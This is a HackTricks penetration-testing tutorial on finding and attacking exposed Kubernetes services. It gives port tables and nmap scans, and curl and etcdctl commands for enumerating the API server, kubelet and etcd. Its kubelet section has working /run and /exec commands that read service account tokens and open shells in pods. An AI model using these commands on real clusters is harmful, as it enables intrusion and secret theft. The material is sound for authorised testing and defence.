hacktricks/pentesting/pentesting-kubernetes/pentesting-kubernetes-from-the-outside.md

# Pentesting Kubernetes Services

{% hint style="danger" %}
<img src="../../.gitbook/assets/SB logo black_034525.png" alt="" data-size="original">\
_A **digital transformation** tailored to your organization is unique. It also comes with its **risks**. **Defend yourself against hackers**. Get protection before it's too late. **Talk to the professionals at Securityboat**:_

{% embed url="https://securityboat.in/contact-us" %}
{% endhint %}

Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**.

## Finding exposed pods with OSINT

One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string.

## How Kubernetes Exposes Services

It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them:

{% content-ref url="exposing-services-in-kubernetes.md" %}
[exposing-services-in-kubernetes.md](exposing-services-in-kubernetes.md)
{% endcontent-ref %}

## Finding Exposed pods via port scanning

The following ports might be open in a Kubernetes cluster:

| Port            | Process        | Description                                                            |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP         | kube-apiserver | Kubernetes API port                                                    |
| 2379/TCP        | etcd           |                                                                        |
| 6666/TCP        | etcd           | etcd                                                                   |
| 4194/TCP        | cAdvisor       | Container metrics                                                      |
| 6443/TCP        | kube-apiserver | Kubernetes API port                                                    |
| 8443/TCP        | kube-apiserver | Minikube API port                                                      |
| 8080/TCP        | kube-apiserver | Insecure API port                                                      |
| 10250/TCP       | kubelet        | HTTPS API which allows full mode access                                |
| 10255/TCP       | kubelet        | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP       | kube-proxy     | Kube Proxy health check server                                         |
| 9099/TCP        | calico-felix   | Health check server for Calico                                         |
| 6782-4/TCP      | weave          | Metrics and endpoints                                                  |
| 30000-32767/TCP | NodePort       | Proxy to the services                                                  |
| 44134/TCP       | Tiller         | Helm service listening                                                 |

### Nmap

```
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
```

### Kube-apiserver

This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**.

**Common ports: 6443 and 443**, but also 8443 in minikube and 8080 as insecure.

```
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```

**Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:**

{% content-ref url="../../cloud-security/pentesting-kubernetes/kubernetes-enumeration.md" %}
[kubernetes-enumeration.md](../../cloud-security/pentesting-kubernetes/kubernetes-enumeration.md)
{% endcontent-ref %}

### Kubelet API

This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**.

If you find this service exposed you might have found an [**unauthenticated RCE**](pentesting-kubernetes-from-the-outside.md#kubelet-rce).

#### Kubelet API

```
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
curl -k https://<IP address>:10250/runningpods/
```

If the response is `Unauthorized` then it requires authentication.

If you can list nodes you can get a list of kubelets endpoints with:

```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
    ip=$(echo $node | awk '{print $1}')
    port=$(echo $node | awk '{print $2}')
    echo "curl -k --max-time 30 https://$ip:$port/pods"
    echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```

#### kubelet (Read only)

```
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```

### etcd API

```
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```

### Tiller

```
helm --host tiller-deploy.kube-system:44134 version
```

You could abuse this service to escalate privileges inside Kubernetes:

{% content-ref url="../../network-services-pentesting/44134-pentesting-tiller-helm.md" %}
[44134-pentesting-tiller-helm.md](../../network-services-pentesting/44134-pentesting-tiller-helm.md)
{% endcontent-ref %}

### cAdvisor

Service useful to gather metrics.

```
curl -k https://<IP Address>:4194
```

### NodePort

When a port is exposed in all the nodes via a **NodePort**, the same port is opened in all the nodes proxifying the traffic into the declared **Service**. By default this port will be in in the **range 30000-32767**. So new unchecked services might be accessible through those ports.

```
sudo nmap -sS -p 30000-32767 <IP>
```

## Vulnerable Misconfigurations

### Kube-apiserver Anonymous Access

By **default**, **kube-apiserver** API endpoints are **forbidden** to **anonymous** access. But it’s always a good idea to check if there are any **insecure endpoints that expose sensitive information**:

![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)

### **Checking for ETCD Anonymous Access**

The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.

If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:

```
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```

### **Kubelet RCE**

The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**

![](<../../.gitbook/assets/image (637) (1) (1) (1).png>)

The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:

```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```

All of them sounds interesting.

#### /pods

This endpoint list pods and their containers:

```bash
curl -ks https://worker:10250/pods
```

#### /exec & /run

This endpoint allows to execute code inside any container very easily:

```bash
# You can get all the namespaces, pods and containers running with:
curl -k https://10.10.11.133:10250/pods | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'
curl -k https://10.10.11.133:10250/runningpods/ | jq -r '.items[] | [.metadata.namespace, .metadata.name, [.spec.containers[].name]]'

# /run
curl -XPOST -k https://10.10.11.133:10250/run/{namespace}/{pod}/{container} \ 
  -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt /var/run/secrets/kubernetes.io/serviceaccount/token"
 
# /exec
# The command is passed as an array (split by spaces) and that is a GET request.
curl -sk -X POST -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" \
  https://worker:10250/exec/{namespace}/{pod}/{container} \
  -d 'input=1' -d 'output=1' -d 'tty=1' \
  -d 'command=ls' -d 'command=/'

# Using kubeletctl
## get kubeletctl from releases in https://github.com/cyberark/kubeletctl
kubeletctl exec /bin/sh -n <namespace> -p <pod> -c <container>  -s <IP> --cacert ./ca.crt
kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt
```

To automate the exploitation you can also use the script [**kubelet-anon-rce**](https://github.com/serain/kubelet-anon-rce).

{% hint style="info" %}
To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level.
{% endhint %}

### **Checking Kubelet (Read Only Port) Information Exposure**

When the **kubelet read-only port** is exposed, the attacker can retrieve information from the API. This exposes **cluster configuration elements, such as pods names, location of internal files and other configurations**. This is not critical information, but it still should not be exposed to the internet.

For example, a remote attacker can abuse this by accessing the following URL: `http://<external-IP>:10255/pods`

![](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)

## References

{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2" %}

{% embed url="https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet" %}

{% hint style="danger" %}
<img src="../../.gitbook/assets/SB logo black_034525.png" alt="" data-size="original">\
_A **digital transformation** tailored to your organization is unique. It also comes with its **risks**. **Defend yourself against hackers**. Get protection before it's too late. **Talk to the professionals at Securityboat**:_

{% embed url="https://securityboat.in/contact-us" %}
{% endhint %}

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>